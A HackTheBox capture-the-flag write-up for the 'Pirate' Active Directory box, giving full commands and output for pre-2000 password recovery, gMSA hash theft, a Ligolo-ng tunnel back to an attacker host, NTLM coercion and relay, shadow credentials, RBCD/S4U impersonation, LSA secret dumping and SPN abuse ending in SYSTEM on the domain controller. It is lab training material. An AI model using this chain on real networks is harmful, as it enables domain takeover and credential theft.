Skip to content

Pirate Writeup - HackTheBox

Hard Windows
Khant-Nyar

Pentester, Learner, Builder

Pirate is a Windows Hard Active Directory box on HackTheBox. Starting credentials: pentest / p3nt3st2025!&. The chain runs: BloodHound reveals the Pre-Windows 2000 Compatible Access group grants unauthenticated enumeration, nxc pre2k recovers machine account default passwords giving MS01$ and EXCH01$ access, MS01$ can read gMSA passwords so gMSA_ADFS_prod$'s NTLM hash is recovered, evil-winrm onto DC01 as gMSA_ADFS_prod$ exposes an internal 192.168.100.0/24 subnet, Ligolo-ng tunnels to WEB01 (192.168.100.2) which has SMB signing disabled, NTLM coercion from WEB01 relayed to LDAP on DC01 via ntlmrelayx interactive shell writes shadow credentials onto WEB01$, certipy auth with the resulting PFX gives WEB01$'s TGT and NTLM hash, RBCD is then configured with WEB01$ trusting itself, S4U2Self plus S4U2Proxy impersonates Administrator on WEB01, LSA secrets dump recovers a.white cleartext and WEB01 local admin NTLM, ForceChangePassword on a.white_adm resets the privileged account, and constrained delegation with protocol transition on HTTP/WEB01.pirate.htb combined with WriteSPN lets you move the SPN to DC01$ then getST with -altservice CIFS/DC01 for psexec as SYSTEM.

Discovery

Port scan

┌──(kali㉿kali)-[~]
└─$ nmap -Pn -p- --min-rate 2500 -oA scans/all-tcp $TARGET_IP
┌──(kali㉿kali)-[~]
└─$ nmap -Pn -sCV -p53,88,135,139,389,443,445,464,593,636,3268,3269,5985,9389 $TARGET_IP -oA scans/focused
PORT     STATE SERVICE
53/tcp   open  domain
88/tcp   open  kerberos-sec
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
389/tcp  open  ldap
443/tcp  open  https        Pirate Portal
445/tcp  open  microsoft-ds
464/tcp  open  kpasswd5
593/tcp  open  http-rpc-epmap
636/tcp  open  ldapssl
3268/tcp open  globalcatLDAP
3269/tcp open  globalcatLDAPssl
5985/tcp open  http         WinRM
9389/tcp open  mc-nmf

Standard DC ports. Add hostnames to /etc/hosts:

$TARGET_IP pirate.htb dc01.pirate.htb dc01

Enumeration

BloodHound

┌──(kali㉿kali)-[~]
└─$ bloodhound-python -dc dc01.pirate.htb -d pirate.htb -u pentest -p 'p3nt3st2025!&' -ns $TARGET_IP -c All --zip

BloodHound shows DOMAIN COMPUTERS is a member of Pre-Windows 2000 Compatible Access, which allows unauthenticated LDAP reads on machine account attributes. Machine accounts provisioned without an explicit password receive a default password matching their SAM name (without the trailing $, lowercased).

Pre-Windows 2000 machine account credential recovery

┌──(kali㉿kali)-[~]
└─$ nxc ldap dc01.pirate.htb -u '' -p '' --pre2k
[+] MS01$:ms01
[+] EXCH01$:exch01

Both machine accounts authenticate. MS01$ has the ReadGMSAPassword right on gMSA_ADFS_prod$.

gMSA password read

┌──(kali㉿kali)-[~]
└─$ nxc ldap dc01.pirate.htb -u 'MS01$' -p 'ms01' --gmsa
Account: gMSA_ADFS_prod$  NTLM: $GMSA_ADFS_NTLM

Foothold on DC01

┌──(kali㉿kali)-[~]
└─$ evil-winrm -i dc01.pirate.htb -u 'gMSA_ADFS_prod$' -H '$GMSA_ADFS_NTLM'
*Evil-WinRM* PS C:\Users\gMSA_ADFS_prod$\Documents>

WinRM session on DC01 as gMSA_ADFS_prod$. Enumerate internal network interfaces:

*Evil-WinRM* PS C:\Users\Administrator\Documents> ipconfig /all
Ethernet adapter Ethernet0:
   IPv4 Address. . . . . : 10.10.11.x
Ethernet adapter Ethernet1:
   IPv4 Address. . . . . : 192.168.100.1

Internal subnet 192.168.100.0/24 reachable from DC01. Scan for hosts:

*Evil-WinRM* PS C:\Users\Administrator\Documents> 1..254 | ForEach-Object { $ip = "192.168.100.$_"; if (Test-Connection -ComputerName $ip -Count 1 -Quiet) { $ip } }
192.168.100.2

WEB01 is at 192.168.100.2. Add to /etc/hosts: 192.168.100.2 web01.pirate.htb WEB01. Tunnel to the subnet using Ligolo-ng.

Lateral Movement to WEB01

Ligolo-ng tunnel

┌──(kali㉿kali)-[~]
└─$ # Attacker side: start proxy
./ligolo-ng/proxy -selfcert -laddr 0.0.0.0:11601
*Evil-WinRM* PS C:\Users\Administrator\Documents> # Upload and run agent on DC01
Upload agent.exe
.\agent.exe -connect $ATTACKER_IP:11601 -ignore-cert
┌──(kali㉿kali)-[~]
└─$ # In Ligolo proxy console
session
start
sudo ip route add 192.168.100.0/24 dev ligolo

192.168.100.0/24 is now routable from the attacker machine.

SMB signing check on WEB01

┌──(kali㉿kali)-[~]
└─$ nxc smb 192.168.100.2
SMB  192.168.100.2  445  WEB01  [*] Windows Server 2022  signing:False  SMBv1:False

SMB signing disabled on WEB01. NTLM relay is possible.

NTLM coercion and relay to LDAP

Start ntlmrelayx targeting LDAP on DC01 in interactive mode to get an LDAP shell:

┌──(kali㉿kali)-[~]
└─$ ntlmrelayx.py -t ldap://dc01.pirate.htb --no-smb-server --no-http-server -i

Coerce authentication from WEB01 to your machine using PetitPotam or PrinterBug:

┌──(kali㉿kali)-[~]
└─$ python3 PetitPotam.py -u 'MS01$' -p 'ms01' -d pirate.htb $ATTACKER_IP 192.168.100.2
[+] Coerce WEB01 auth to $ATTACKER_IP

ntlmrelayx relays WEB01$'s NTLM auth to LDAP on DC01 and opens an interactive LDAP shell on 127.0.0.1:11000. Use it to add shadow credentials to WEB01$:

┌──(kali㉿kali)-[~]
└─$ nc 127.0.0.1 11000
# Interactive LDAP shell
> set_shadow_creds WEB01$

ntlmrelayx outputs the PFX file and its password.

certipy auth to get WEB01$ TGT and NTLM

┌──(kali㉿kali)-[~]
└─$ certipy auth -pfx WEB01$.pfx -dc-ip $TARGET_IP
[+] Got TGT for WEB01$
[+] NTLM hash: $WEB01_NTLM

Administrator on WEB01 via RBCD

Configure RBCD: WEB01$ trusts itself

┌──(kali㉿kali)-[~]
└─$ impacket-rbcd -delegate-from 'WEB01$' -delegate-to 'WEB01$' -action write \
-hashes ':$WEB01_NTLM' 'pirate.htb/WEB01$' -dc-ip $TARGET_IP
[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is set

S4U2Self + S4U2Proxy to impersonate Administrator

┌──(kali㉿kali)-[~]
└─$ KRB5CCNAME=WEB01.ccache getST.py -spn 'cifs/web01.pirate.htb' -impersonate Administrator \
-self -altservice 'cifs/WEB01' pirate.htb/'WEB01$' -hashes ':$WEB01_NTLM' -dc-ip $TARGET_IP
[*] Getting ST for Administrator on cifs/WEB01
[*] Saved as WEB01_Administrator.ccache
┌──(kali㉿kali)-[~]
└─$ KRB5CCNAME=WEB01_Administrator.ccache psexec.py -k -no-pass web01.pirate.htb
C:\Windows\system32> whoami
nt authority\system

SYSTEM on WEB01. Dump LSA secrets to recover cleartext credentials and the local admin NTLM:

┌──(kali㉿kali)-[~]
└─$ KRB5CCNAME=WEB01_Administrator.ccache secretsdump.py -k -no-pass web01.pirate.htb
pirate.htb\a.white:$A_WHITE_PASSWORD
WEB01\Administrator:$WEB01_ADMIN_NTLM

Privilege Escalation to DC01

ForceChangePassword on a.white_adm

a.white has ForceChangePassword on a.white_adm. Reset the privileged account's password:

┌──(kali㉿kali)-[~]
└─$ net rpc password a.white_adm '$A_WHITE_ADM_PASSWORD' -U pirate.htb/a.white%'$A_WHITE_PASSWORD' -S dc01.pirate.htb

Constrained delegation with protocol transition

BloodHound shows a.white_adm has constrained delegation with protocol transition configured on HTTP/WEB01.pirate.htb, and has WriteSPN on DC01$. Move the SPN to point at DC01, then request a service ticket for CIFS/DC01:

┌──(kali㉿kali)-[~]
└─$ # Add SPN HTTP/WEB01.pirate.htb to DC01$ (WriteSPN)
┌──(kali㉿kali)-[~]
└─$ set-adcomputer -identity DC01 -add @{ServicePrincipalName='HTTP/WEB01.pirate.htb'} \
# via powerview or addspn.py
 
┌──(kali㉿kali)-[~]
└─$ addspn.py -u 'pirate.htb\a.white_adm' -p '$A_WHITE_ADM_PASSWORD' \
-s 'HTTP/WEB01.pirate.htb' -t 'DC01$' dc01.pirate.htb
[+] SPN added
┌──(kali㉿kali)-[~]
└─$ getST.py -spn 'HTTP/WEB01.pirate.htb' -impersonate Administrator \
-altservice 'CIFS/DC01.pirate.htb' \
pirate.htb/a.white_adm:'$A_WHITE_ADM_PASSWORD' -dc-ip $TARGET_IP
[*] Getting ST for Administrator
[*] Saved as Administrator.ccache
┌──(kali㉿kali)-[~]
└─$ KRB5CCNAME=Administrator.ccache psexec.py -k -no-pass dc01.pirate.htb
C:\Windows\system32> whoami
nt authority\system

References